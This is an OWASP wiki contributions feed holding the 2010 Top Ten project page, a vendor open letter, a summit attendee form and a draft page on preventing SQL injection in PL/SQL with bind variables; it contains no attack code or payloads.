<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
		<id>https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Mjk303</id>
		<title>OWASP - User contributions [en]</title>
		<link rel="self" type="application/atom+xml" href="https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Mjk303"/>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php/Special:Contributions/Mjk303"/>
		<updated>2026-05-03T19:00:55Z</updated>
		<subtitle>User contributions</subtitle>
		<generator>MediaWiki 1.27.2</generator>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Category:OWASP_Top_Ten_Project&amp;diff=105432</id>
		<title>Category:OWASP Top Ten Project</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Category:OWASP_Top_Ten_Project&amp;diff=105432"/>
				<updated>2011-02-18T17:59:49Z</updated>
		
		<summary type="html">&lt;p&gt;Mjk303: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{OWASP Book|1400974}} &lt;br /&gt;
&amp;lt;center&amp;gt;&amp;lt;br&amp;gt;'''Do You Recommend the OWASP TOP 10?''' Tweet a sign of support [http://twitter.com/home/?status=OWASP+has+FREE+practical+software+development+and+security+resources:+http://bit.ly/bMb0SM Click Here] &amp;lt;/center&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Main  ====&lt;br /&gt;
&lt;br /&gt;
'''Welcome to the OWASP Top Ten Project''' &lt;br /&gt;
&lt;br /&gt;
== OWASP Top 10 for 2010  ==&lt;br /&gt;
&lt;br /&gt;
On April 19, 2010 we released the final version of the OWASP Top 10 for 2010, and here is the associated [[OWASPTop10-2010-PressRelease|press release]]. This version was updated based on numerous comments received during the comment period after the release candidate was released in Nov. 2009. &lt;br /&gt;
&lt;br /&gt;
*[http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202010.pdf OWASP Top 10 - 2010 Document] &lt;br /&gt;
*[[Top 10 2010|OWASP Top 10 - 2010 - wiki]] &lt;br /&gt;
*[http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx OWASP Top 10 - 2010 Presentation]&lt;br /&gt;
&lt;br /&gt;
The OWASP Top 10 Web Application Security Risks for 2010 are: &lt;br /&gt;
&lt;br /&gt;
*A1: Injection &lt;br /&gt;
*A2: Cross-Site Scripting (XSS) &lt;br /&gt;
*A3: Broken Authentication and Session Management &lt;br /&gt;
*A4: Insecure Direct Object References &lt;br /&gt;
*A5: Cross-Site Request Forgery (CSRF) &lt;br /&gt;
*A6: Security Misconfiguration &lt;br /&gt;
*A7: Insecure Cryptographic Storage &lt;br /&gt;
*A8: Failure to Restrict URL Access &lt;br /&gt;
*A9: Insufficient Transport Layer Protection &lt;br /&gt;
*A10: Unvalidated Redirects and Forwards&lt;br /&gt;
&lt;br /&gt;
Please help us make sure every developer in the ENTIRE WORLD knows about the OWASP Top 10 by helping to spread the word!!! &lt;br /&gt;
&lt;br /&gt;
As you help us spread the word, please emphasize: &lt;br /&gt;
&lt;br /&gt;
*OWASP is reaching out to developers, not just the application security community &lt;br /&gt;
*The Top 10 is about managing risk, not just avoiding vulnerabilities &lt;br /&gt;
*To manage these risks, organizations need an application risk management program, not just awareness training, app testing, and remediation&lt;br /&gt;
&lt;br /&gt;
We need to encourage organizations to get off the penetrate and patch mentality. As Jeff Williams said in his 2009 OWASP AppSec DC Keynote: “we’ll never hack our way secure – it’s going to take a culture change” for organizations to properly address application security. &lt;br /&gt;
&lt;br /&gt;
If you are interested in doing a presentation on the OWASP Top 10, please feel free to use all or parts of this: &lt;br /&gt;
&lt;br /&gt;
== Introduction  ==&lt;br /&gt;
&lt;br /&gt;
The OWASP Top Ten provides a powerful awareness document for web application security. The OWASP Top Ten represents a broad consensus about what the most critical web application security flaws are. Project members include a variety of security experts from around the world who have shared their expertise to produce this list. Versions of the 2007 were translated into English, French, Spanish, Japanese, Korean and Turkish and other languages. Translation efforts for the 2010 version are underway and they will be posted as they become available. &lt;br /&gt;
&lt;br /&gt;
We urge all companies to adopt this awareness document within their organization and start the process of ensuring that their web applications do not contain these flaws. Adopting the OWASP Top Ten is perhaps the most effective first step towards changing the software development culture within your organization into one that produces secure code. &lt;br /&gt;
&lt;br /&gt;
== Versions  ==&lt;br /&gt;
&lt;br /&gt;
Stable: &lt;br /&gt;
&lt;br /&gt;
*[http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202010.pdf OWASP Top 10 2010 - PDF] &lt;br /&gt;
*[[Top 10 2010|OWASP Top 10 2010 - wiki]]&lt;br /&gt;
&lt;br /&gt;
2010 Translations: &lt;br /&gt;
&lt;br /&gt;
*[http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202010%20French.pdf OWASP Top 10 2010 - French PDF] &lt;br /&gt;
*[http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202010%20Indonesian.pdf OWASP Top 10 2010 - Indonesian PDF]&lt;br /&gt;
*[http://www.owasp.org/images/f/f9/OWASP_Top_10_-_2010_ITA.pdf OWASP Top 10 2010 - Italian PDF]&lt;br /&gt;
*[http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202010%20Japanese-A4.pdf OWASP Top 10 2010 - Japanese PDF]&lt;br /&gt;
*[http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202010%20Korean.pdf OWASP Top 10 2010 - Korean PDF]&lt;br /&gt;
*[http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202010%20Spanish.pdf OWASP Top 10 2010 - Spanish PDF]&lt;br /&gt;
&lt;br /&gt;
2010 Release Candidate: &lt;br /&gt;
&lt;br /&gt;
*[http://www.owasp.org/index.php/File:OWASP_T10_-_2010_rc1.pdf OWASP Top 10 2010 Release Candidate] &lt;br /&gt;
*[http://www.owasp.org/images/e/e1/OWASP_Top_10_RC-Public_Comments.docx OWASP Top 10 2010 Release Candidate Comments], except for one set of scanned comments [http://www.owasp.org/images/2/2e/OWASP_T10_-_2010_rc1_cmts_Kai_Jendrian.pdf which are here].&lt;br /&gt;
&lt;br /&gt;
Old versions: &lt;br /&gt;
&lt;br /&gt;
*[http://www.owasp.org/images/e/e8/OWASP_Top_10_2007.pdf OWASP Top 10 2007 - PDF] &lt;br /&gt;
*[[Top 10 2007|OWASP Top 10 2007 - wiki]] &lt;br /&gt;
*[http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project#tab=Project_Details OWASP Top 10 2007 - PDF Translations are here] &lt;br /&gt;
*[[Top 10 2004|OWASP Top 10 2004 - wiki]]&lt;br /&gt;
&lt;br /&gt;
== Users and Adopters  ==&lt;br /&gt;
&lt;br /&gt;
The U.S. Federal Trade Commission strongly recommends that all companies use the OWASP Top Ten and ensure that their partners do the same. In addition, the U.S. Defense Information Systems Agency (DISA) has listed the OWASP Top Ten as key best practices that should be used as part of the DoD Information Assurance Certification and Accreditation Process ([http://iase.disa.mil/diacap/ DIACAP]). &lt;br /&gt;
&lt;br /&gt;
In the commercial market, the [http://usa.visa.com/download/business/accepting_visa/ops_risk_management/cisp_PCI_Data_Security_Standard.pdf Payment Card Industry (PCI) standard] has adopted the OWASP Top Ten, and requires (among other things) that all merchants get a security code review for all their custom code. In addition, a broad range of companies and agencies around the globe are also using the OWASP Top Ten, including: &lt;br /&gt;
&lt;br /&gt;
*A.G. Edwards &lt;br /&gt;
*Bank of Newport &lt;br /&gt;
*Best Software &lt;br /&gt;
*British Telecom &lt;br /&gt;
*Bureau of Alcohol, Tobacco, and Firearms (ATF) &lt;br /&gt;
*Citibank &lt;br /&gt;
*Cboss Internet &lt;br /&gt;
*Cognizant &lt;br /&gt;
*Contra Costa County, CA &lt;br /&gt;
*Corillian Corporation &lt;br /&gt;
*Digital Payment Technologies &lt;br /&gt;
*Foundstone Strategic Security &lt;br /&gt;
*HP &lt;br /&gt;
*IBM Global Services &lt;br /&gt;
*National Australia Bank &lt;br /&gt;
*Norfolk Southern &lt;br /&gt;
*OneSAS.com &lt;br /&gt;
*Online Business Systems &lt;br /&gt;
*Predictive Systems &lt;br /&gt;
*Price Waterhouse Coopers &lt;br /&gt;
*Recreational Equipment, Inc. (REI) &lt;br /&gt;
*SSP Solutions &lt;br /&gt;
*Samsung SDS (Korea) &lt;br /&gt;
*Sempra Energy &lt;br /&gt;
*Sprint &lt;br /&gt;
*Sun Microsystems &lt;br /&gt;
*Swiss Federal Institute of Technology &lt;br /&gt;
*Symantec &lt;br /&gt;
*Texas Dept of Human Services &lt;br /&gt;
*The Hartford &lt;br /&gt;
*Zapatec &lt;br /&gt;
*ZipForm &lt;br /&gt;
*...and many others&lt;br /&gt;
&lt;br /&gt;
Several schools have also adopted the OWASP Top Ten as a part of their curriculum, including Michigan State University (MSU), and the University of California at San Diego (UCSD). &lt;br /&gt;
&lt;br /&gt;
Several open source projects have adopted the OWASP Top Ten as part of their security audits, including: &lt;br /&gt;
&lt;br /&gt;
*[http://plone.org Plone open source CMS project] (managed by the Plone Foundation)&lt;br /&gt;
&lt;br /&gt;
== Feedback  ==&lt;br /&gt;
&lt;br /&gt;
Please let us know how your organization is using the Top Ten. Include your name, organization's name, and brief description of how you use the list. Thanks for supporting OWASP! &lt;br /&gt;
&lt;br /&gt;
We hope you find the information in the OWASP Top Ten useful. Please contribute back to the project by sending your comments, questions, and suggestions to topten@lists.owasp.org Thanks! &lt;br /&gt;
&lt;br /&gt;
To join the OWASP Top Ten mailing list or view the archives, please visit the [http://lists.owasp.org/mailman/listinfo/owasp-topten subscription page.] &lt;br /&gt;
&lt;br /&gt;
== Project Sponsors  ==&lt;br /&gt;
&lt;br /&gt;
The OWASP Top Ten project is sponsored by [[Image:Aspect_logo.gif|link=http://www.aspectsecurity.com/]] [[Image:AppSecDC2009-Sponsor-softtek.gif|link=http://www.softtek.com]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- ==== Project Identification ====&lt;br /&gt;
{{Template:OWASP OWASP_Top10 Project}} --&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== 2010 Translation Efforts  ====&lt;br /&gt;
&lt;br /&gt;
Efforts are underway in numerous languages to translate the OWASP Top 10. If you are interested in helping, please contact the other members of the team for the language you are interested in contribution to, or if you don't see your language listed, please let me know you want to help and we'll form a volunteer group for your language too!! &lt;br /&gt;
&lt;br /&gt;
Completed Translations:&lt;br /&gt;
&lt;br /&gt;
*French: [http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202010%20French.pdf OWASP Top 10 2010 - French PDF] sebastien.gioria@owasp.org, ludovic.petit@sfr.com, antonio.fontes@owasp.org, benoit.guerette@owasp.org, Jocelyn.aubert@owasp.org, Eric.Garreau@gemalto.com, Guillaume.Huysmans@gemalto.com &lt;br /&gt;
*Indonesian: [http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202010%20Indonesian.pdf OWASP Top 10 2010 - Indonesian PDF] Tedi Heriyanto (coordinator), Lathifah Arief, Tri A Sundara, Zaki Akhmad&lt;br /&gt;
*Italian: [http://www.owasp.org/images/f/f9/OWASP_Top_10_-_2010_ITA.pdf OWASP Top 10 2010 - Italian PDF] See Italian Translation Tab for Translation Team&lt;br /&gt;
*Japanese: [http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202010%20Japanese-A4.pdf OWASP Top 10 2010 - Japanese PDF] cecil.su@owasp.org, Dr. Masayuki Hisada, Yoshimasa Kawamoto, Ryusuke Sakamoto, Keisuke Seki, Shin Umemoto, Takashi Arima&lt;br /&gt;
*Korean: [http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202010%20Korean.pdf OWASP Top 10 2010 - Korean PDF] Hyungkeun Park, (mirrk1@gmail.com)&lt;br /&gt;
*Spanish: [http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202010%20Spanish.pdf OWASP Top 10 2010 - Spanish PDF] See Spanish Translation Tab for Translation Team&lt;br /&gt;
&lt;br /&gt;
Volunteer Translation Efforts Underway: &lt;br /&gt;
&lt;br /&gt;
*German: kai.jendrian@secorvo.de &lt;br /&gt;
*Portuguese: carlos.j.serrao@gmail.com; taquiles@gmail.com; wagner.elias@owasp.org; victoreufrasio@gmail.com; leo.cavallari@owasp.org; victoreufrasio@gmail.com; &lt;br /&gt;
*Greek: Konstantinos Papapanagiotou (conpap@di.uoa.gr) &lt;br /&gt;
*Turkish: bora@abi.com.tr &lt;br /&gt;
*Chinese: weilin.zhong@owasp.org &lt;br /&gt;
*Malay, Vietnamese: cecil.su@owasp.org &lt;br /&gt;
*Czech: petr.zavodsky@owasp-czech-republic.cz&lt;br /&gt;
*Dutch: marinus@kuivenhoven.com&lt;br /&gt;
&lt;br /&gt;
==== Project Details  ====&lt;br /&gt;
&lt;br /&gt;
{{:GPC_Project_Details/OWASP_Top10 | OWASP Project Identification Tab}} &lt;br /&gt;
&lt;br /&gt;
==== Spanish Translation  ====&lt;br /&gt;
&lt;br /&gt;
Me complace en informarles que gracias al trabajo excepcional y totalmente voluntario de las personas listadas abajo hemos concluido con la traducción del Top 10 al español. &lt;br /&gt;
&lt;br /&gt;
Muchas gracias a nuestro equipo de traducción! &lt;br /&gt;
&lt;br /&gt;
*Daniel Cabezas Molina &lt;br /&gt;
*Edgar Sanchez &lt;br /&gt;
*Juan Carlos Calderon &lt;br /&gt;
*Jose Antonio Guasch &lt;br /&gt;
*Paulo Coronado &lt;br /&gt;
*Rodrigo Marcos &lt;br /&gt;
*Vicente Aguilera&lt;br /&gt;
&lt;br /&gt;
El documento se puede obtener en la siguiente dirección URL: &lt;br /&gt;
&lt;br /&gt;
*[http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202010%20Spanish.pdf Formato PDF] &lt;br /&gt;
*[http://www.owasp.org/images/8/86/OWASP_Top_10_-_2010_FINAL_%28spanish%29.pptx Formato PPT]&lt;br /&gt;
&lt;br /&gt;
Desde ya, se agradecen los comentarios y/o sugerencias sobre el mismo. &lt;br /&gt;
&lt;br /&gt;
Saludos, &lt;br /&gt;
&lt;br /&gt;
Fabio Cerullo Comité Global de Educación OWASP &lt;br /&gt;
&lt;br /&gt;
==== Italian Translation  ====&lt;br /&gt;
&lt;br /&gt;
Grazie al contributo del seguente team di traduttori, è possibile ottenere il documento OWASP Top 10 2010 in italiano: &lt;br /&gt;
&lt;br /&gt;
*Simone Onofri &lt;br /&gt;
*Paolo Perego &lt;br /&gt;
*Massimo Biagiotti &lt;br /&gt;
*Edoardo Viscosi &lt;br /&gt;
*Salvatore Fiorillo &lt;br /&gt;
*Roberto Battistoni &lt;br /&gt;
*Loredana Mancini &lt;br /&gt;
*Michele Nesta &lt;br /&gt;
*Paco Schiaffella &lt;br /&gt;
*Lucilla Mancini &lt;br /&gt;
*Gerardo Di Giacomo &lt;br /&gt;
*Valentino Squilloni&lt;br /&gt;
&lt;br /&gt;
Il documento è disponibile [http://www.owasp.org/images/f/f9/OWASP_Top_10_-_2010_ITA.pdf qui.] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Grazie e buona lettura! &lt;br /&gt;
&lt;br /&gt;
[http://www.owasp.org/index.php/Italy OWASP-Italy]&lt;br /&gt;
&lt;br /&gt;
==== How Are Companies/Projects/Vendors Using the OWASP Top 10?  ====&lt;br /&gt;
&lt;br /&gt;
Click the links for more details on each use! &lt;br /&gt;
&lt;br /&gt;
'''Warning''': these articles have not been rated for accuracy by OWASP. Product companies should be extremely careful about claiming to &amp;quot;cover&amp;quot; or &amp;quot;ensure compliance&amp;quot; with the OWASP Top 10. The current state-of-the-art for automated detection (scanners and static analysis) and prevention (waf) is nowhere near sufficient to claim adequate coverage of the issues in the Top 10. Nevertheless, using the Top 10 as a simple way to communicate security to end users is effective. &lt;br /&gt;
&lt;br /&gt;
;[http://blogs.msdn.com/b/sdl/archive/2008/05/01/sdl-and-the-owasp-top-ten.aspx Microsoft] &lt;br /&gt;
:as a way to measure the coverage of their SDL and improve security&lt;br /&gt;
&lt;br /&gt;
;[http://www.nsa.gov/applications/search/index.cfm?q=owasp NSA] &lt;br /&gt;
:in their developer guidance on web application security&lt;br /&gt;
&lt;br /&gt;
;[https://www.pcisecuritystandards.org/index.shtml PCI Council] &lt;br /&gt;
:as part of the Payment Card Industry Data Security Standard (PCI DSS)&lt;br /&gt;
&lt;br /&gt;
;[http://community.citrix.com/display/ocb/2010/06/02/NetScaler+Application+Firewall+and+the+OWASP+Top+10+2010 Citrix] &lt;br /&gt;
:in a guide showing how to configure their NetScalar product&lt;br /&gt;
&lt;br /&gt;
;[http://msdn.microsoft.com/en-us/library/dd129898.aspx Microsoft] &lt;br /&gt;
:to show how &amp;quot;T10 threats are handled by the security design and test procedures of Microsoft&amp;quot;&lt;br /&gt;
&lt;br /&gt;
;[http://www.web2py.com/examples/default/security web2py] &lt;br /&gt;
:to demonstrate the security of this Python web framework&lt;br /&gt;
&lt;br /&gt;
;[http://www.owasp.org/index.php/Commentary_OWASP_Top_Ten_2004_Project Oracle] &lt;br /&gt;
:for developer awareness&lt;br /&gt;
&lt;br /&gt;
;[http://www.theatremanagerhelp.com/book/export/html/1640 TheatreManager] &lt;br /&gt;
:to show how their product is secure for web use&lt;br /&gt;
&lt;br /&gt;
;[http://knol.google.com/k/automated-vulnerabilty-scanners-and-the-owasp-top-10# WhiteHat] &lt;br /&gt;
:as a way to explain the coverage of their service&lt;br /&gt;
&lt;br /&gt;
;[http://www.imperva.com/docs/TB_SecureSphere_OWASP_2010-Top-Ten.pdf Imperva] &lt;br /&gt;
:to show the coverage of the SecureSphere tool&lt;br /&gt;
&lt;br /&gt;
;[http://blog.cenzic.com/public/item/254309 Cenzic] &lt;br /&gt;
:to enable &amp;quot;focused scans for compliance testing with the updated PCI standard&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP_Project]] [[Category:OWASP_Document]] [[Category:OWASP_Download]] [[Category:OWASP_Release_Quality_Document]]&lt;/div&gt;</summary>
		<author><name>Mjk303</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Summit_2011/Open_letter_to_WebAppSec_Tool_and_Services_vendors:_Release_your_schemas_and_allow_automation&amp;diff=104050</id>
		<title>Summit 2011/Open letter to WebAppSec Tool and Services vendors: Release your schemas and allow automation</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Summit_2011/Open_letter_to_WebAppSec_Tool_and_Services_vendors:_Release_your_schemas_and_allow_automation&amp;diff=104050"/>
				<updated>2011-02-07T12:57:35Z</updated>
		
		<summary type="html">&lt;p&gt;Mjk303: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;BR&amp;gt;__TOC__&amp;lt;BR&amp;gt;&lt;br /&gt;
'''IMPORTANT DISCLAIMER: THIS LETTER IS NOT AN OFFICIAL OWASP POSITION. THE OWNERSHIP OF ITS REQUEST BELONGS TO THE NAMES UNDER THE 'SIGNED BY' SECTION'''&lt;br /&gt;
&amp;lt;br/&amp;gt;&amp;lt;br/&amp;gt;&lt;br /&gt;
{{:Summit_2011/Open_letter_to_WebAppSec_Tool_and_Services_vendors:_Release_your_schemas_and_allow_automation/Letter_Content}}&lt;br /&gt;
&amp;lt;br/&amp;gt;&amp;lt;br/&amp;gt;&lt;br /&gt;
==Signed by==&lt;br /&gt;
* Dinis Cruz - Application Security Consultant - Independent&lt;br /&gt;
* Sebastien Deleersnyder - Managing Technical Consultant - SAIT Zenitel&lt;br /&gt;
* Jim Manico - CEO - Infrared Security&lt;br /&gt;
* Alexander Meisel - CTO - art of defence&lt;br /&gt;
* Sven Vetsch - Senior Security Tester - Dreamlab Technologies&lt;br /&gt;
* Daniel Cuthbert - Assessment Manager - SensePost&lt;br /&gt;
* Eoin Keary - EMEIA Attack &amp;amp; Penetration Senior Manager - Ernst &amp;amp; Young&lt;br /&gt;
* Anurag Agarwal - Founder - MyAppSecurity&lt;br /&gt;
* Zaki Akhmad - Security Analyst - indocisc&lt;br /&gt;
* Sebastien Gioria - Head of Security and IT Audit - Groupe Y&lt;br /&gt;
* Paolo Perego - Application Security Specialist - armoredcode.com&lt;br /&gt;
* Steven van der Baan - Software Architect - Sogeti Nederland&lt;br /&gt;
* Andres Andreu - CTO &amp;amp; Founder - neuroFuzz&lt;br /&gt;
* Marinus Kuivenhoven - Sr. Security Specialist - Sogeti Nederland&lt;br /&gt;
&lt;br /&gt;
Please use the format: {Name - Role - Company}&lt;br /&gt;
&lt;br /&gt;
==Vendors that commit to deliver the requested materials==&lt;br /&gt;
* art of defence&lt;/div&gt;</summary>
		<author><name>Mjk303</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Summit_2011_Attendee/Attendee130&amp;diff=102376</id>
		<title>Summit 2011 Attendee/Attendee130</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Summit_2011_Attendee/Attendee130&amp;diff=102376"/>
				<updated>2011-01-28T12:18:38Z</updated>
		
		<summary type="html">&lt;p&gt;Mjk303: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:&amp;lt;includeonly&amp;gt;{{{1}}}&amp;lt;/includeonly&amp;gt;&amp;lt;noinclude&amp;gt;OWASP 2011 Global Summit Attendee Tab&amp;lt;/noinclude&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| summit_attendee_name1 = Marinus Kuivenhoven&lt;br /&gt;
| summit_attendee_email1 = mjk303@gmail.com&lt;br /&gt;
| summit_attendee_wiki_username1 = mjk303&lt;br /&gt;
|-&lt;br /&gt;
| summit_attendee_company = &lt;br /&gt;
|-&lt;br /&gt;
| Project Leadership (less than 6 months old) = &lt;br /&gt;
| Project Leadership (more than 6 months old) = &lt;br /&gt;
| Release Leadership (less than 6 months old) = &lt;br /&gt;
| Release Leadership (more than 6 months old) = &lt;br /&gt;
| Project Contribution  (less than 6 months old) = &lt;br /&gt;
| Project Contribution  (more than 6 months old) = &lt;br /&gt;
| Release Contribution (less than 6 months old) =  &lt;br /&gt;
| Release Contribution (more than 6 months old) = &lt;br /&gt;
| Committee Membership = &lt;br /&gt;
| Chapter Co-Leadership = &lt;br /&gt;
| Conference Co-Leadership =  &lt;br /&gt;
| Projected Funding Cost = 900&lt;br /&gt;
|-&lt;br /&gt;
| summit_attendee_current_owasp_involvement_name1 = &lt;br /&gt;
| summit_attendee_current_owasp_involvement_url_1 = &lt;br /&gt;
| summit_attendee_current_owasp_involvement_name2 = &lt;br /&gt;
| summit_attendee_current_owasp_involvement_url_2 = &lt;br /&gt;
| summit_attendee_current_owasp_involvement_name3 = &lt;br /&gt;
| summit_attendee_current_owasp_involvement_url_3 = &lt;br /&gt;
| summit_attendee_current_owasp_involvement_name4 = &lt;br /&gt;
| summit_attendee_current_owasp_involvement_url_4 = &lt;br /&gt;
| summit_attendee_current_owasp_involvement_name5 = &lt;br /&gt;
| summit_attendee_current_owasp_involvement_url_5 = &lt;br /&gt;
|-&lt;br /&gt;
| summit_attendee_reason_for_summit_participation_name1 =  University Outreach, Education and Training&lt;br /&gt;
| summit_attendee_reason_for_summit_participation_url_1 = http://www.owasp.org/index.php/Category:Summit_2011_University_Education_Training_Track&lt;br /&gt;
| notes_reason_for_participating_issues_to_be_discussed_1 = I'm already giving lectures and workshops on various education instances in the Netherlands about OWASP. I would like to contribute on how we can streamline the use of material, how to get both the educators and students to participate and what we can do to help with projects, papers and research in general.&lt;br /&gt;
| summit_attendee_reason_for_summit_participation_name2 = OWASP Secure Coding Workshop&lt;br /&gt;
| summit_attendee_reason_for_summit_participation_url_2 = http://www.owasp.org/index.php/Category:Summit_2011_OWASP_Secure_Coding_Workshop_Track&lt;br /&gt;
| notes_reason_for_participating_issues_to_be_discussed_2 = Having developed and teached several secure coding courses, I noticed some patterns in the way programmers are thinking. I think we should address the problem on a higher level indepentant of implementation. For instance 'how should you talk to an interpreter' loose from the fact that doing it wrong can result in XSS and injection flaws. Otherwise we are just blacklisting programming errors and won't prevent future security problems.&lt;br /&gt;
| summit_attendee_reason_for_summit_participation_name3 = &lt;br /&gt;
| summit_attendee_reason_for_summit_participation_url_3 = &lt;br /&gt;
| notes_reason_for_participating_issues_to_be_discussed_3 = &lt;br /&gt;
| summit_attendee_reason_for_summit_participation_name4 = &lt;br /&gt;
| summit_attendee_reason_for_summit_participation_url_4 = &lt;br /&gt;
| notes_reason_for_participating_issues_to_be_discussed_4 = &lt;br /&gt;
| summit_attendee_reason_for_summit_participation_name5 = &lt;br /&gt;
| summit_attendee_reason_for_summit_participation_url_5 = &lt;br /&gt;
| notes_reason_for_participating_issues_to_be_discussed_5 = &lt;br /&gt;
|-&lt;br /&gt;
| summit_attendee_owasp_sponsor = &lt;br /&gt;
|-&lt;br /&gt;
| summit_attendee_summit_time_paid_by_name1 =&lt;br /&gt;
| summit_attendee_summit_time_paid_by_url_1 =&lt;br /&gt;
| summit_attendee_summit_time_paid_by_name2 =&lt;br /&gt;
| summit_attendee_summit_time_paid_by_url_2 =&lt;br /&gt;
|-&lt;br /&gt;
| summit_attendee_summit_expenses_paid_by_name1 = &lt;br /&gt;
| summit_attendee_summit_expenses_paid_by_url_1 = &lt;br /&gt;
| summit_attendee_summit_expenses_paid_by_name2 = &lt;br /&gt;
| summit_attendee_summit_expenses_paid_by_url_2 =  &lt;br /&gt;
|-&lt;br /&gt;
| reason_for_sponsorship = &lt;br /&gt;
|-&lt;br /&gt;
| status = &lt;br /&gt;
|-&lt;br /&gt;
| letter sent to sponsor = &lt;br /&gt;
|-&lt;br /&gt;
| notes for Kate =   &lt;br /&gt;
|-&lt;br /&gt;
| attendee_name_mask = &amp;lt;!--Please replace DO NOT EDIT this string --&amp;gt; Attendee130&lt;br /&gt;
| attendee_home_page = &amp;lt;!--Please replace DO NOT EDIT this string --&amp;gt; Summit_2011_Attendee/Attendee130&lt;br /&gt;
}}&lt;/div&gt;</summary>
		<author><name>Mjk303</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PL/SQL:SQL_Injection&amp;diff=46731</id>
		<title>PL/SQL:SQL Injection</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PL/SQL:SQL_Injection&amp;diff=46731"/>
				<updated>2008-11-21T21:42:40Z</updated>
		
		<summary type="html">&lt;p&gt;Mjk303: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Status==&lt;br /&gt;
WIP 13/11/2008&lt;br /&gt;
&lt;br /&gt;
==Overview==&lt;br /&gt;
As the name implies, SQL injection vulnerabilities allow an attacker to inject (or execute) SQL commands within an application.  It is one of the most wide spread and dangerous application vulnerability. The CLASP project provides a good overview of [[SQL injection]].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Attack==&lt;br /&gt;
&lt;br /&gt;
==Vunerabilities==&lt;br /&gt;
&lt;br /&gt;
===UNIONS===&lt;br /&gt;
Append the output of one or more other statements &lt;br /&gt;
===SUBSELECTS===&lt;br /&gt;
Blind SQL injection &lt;br /&gt;
===PACKAGES===&lt;br /&gt;
functions&lt;br /&gt;
===DML===&lt;br /&gt;
Insert, update and delete&lt;br /&gt;
===DDL===&lt;br /&gt;
Alter ..  in case of a dynamic query.&lt;br /&gt;
===Viewa===&lt;br /&gt;
It is possible to update a view&lt;br /&gt;
===Database links===&lt;br /&gt;
Query other databases with @database link&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Solution==&lt;br /&gt;
The reason that SQL injection is possible, is that the SQL statement is being generated from a language or enviroment that isn't working with SQL natively. So it does not know the consequences. The same goes for the database itself. As long as the SQL statement is syntactally correct and user that performs it has the rights, the database will execute it. There is no way for both side to determine what the impact would be. When trying to figure that out your essentially blacklisting and any new variant will be bypass your predetermined.&lt;br /&gt;
&lt;br /&gt;
===Stored Procedures===&lt;br /&gt;
We allready creating stored procedures since we are working with PL/SQL and as you can see it is still possible to write vunerable code. Plus there is an extra vunerabilty when running on the database, [[PL/SQL:Privilege escalation]]&lt;br /&gt;
&lt;br /&gt;
===Obfuscation===&lt;br /&gt;
Another solution often found is to obfuscate the table and columns. So instead of using APPUSERS we call it CWO2HIF. Now this is not going to work as one of the 13 rules that describe an Relational Database[4] is that the metadata or catalog describing the database is stored in the database. For instance a query on ALL_TAB_COLUMNS would return me all the available tables, it columns and the types.&lt;br /&gt;
&lt;br /&gt;
All of these just dont work or limit just a small part, so we need to make the understand eachother better. We can do this by seperating the data from the logic.&lt;br /&gt;
&lt;br /&gt;
===Bind variables===&lt;br /&gt;
As with all languages and databases, the seperation of the SQL logic and the SQL data is the only way to prevent SQL injection. These are placeholders we can use to tell the database these parts of the query are dynamic and the rest is hardcoded. The communication is split up into multiple packages&lt;br /&gt;
&lt;br /&gt;
But this is how a database wants you to communicate with it. Whenever a query passed to an Oracle database for execution, the first thing the RDMS will do is make a hashvalue of the query. Next it will to find the best way to collect the data that is needed and stores that in it's memory. After he is done with that it will selects the data and pass it on to the requester. A general rule is that if a query is responds within several seconds it was probaly spending more time in optimisation than the actual fetching.&lt;br /&gt;
&lt;br /&gt;
When you are hardparsing each query, which is essentially the same but using diffrent parameters or values to match, this will result in a diffrent hash value for each statement. Thus the DBMS has to do it's work again. When you are softparsing (ie. using bind variables) the first time you execute the query it will take a fraction longer than the hardparsed version as it needs to send more packages to the database. But each time thereafter the database can skip that bit and just fetch what is needed. And if it is still in the buffercache even give you the results immediatly.&lt;br /&gt;
&lt;br /&gt;
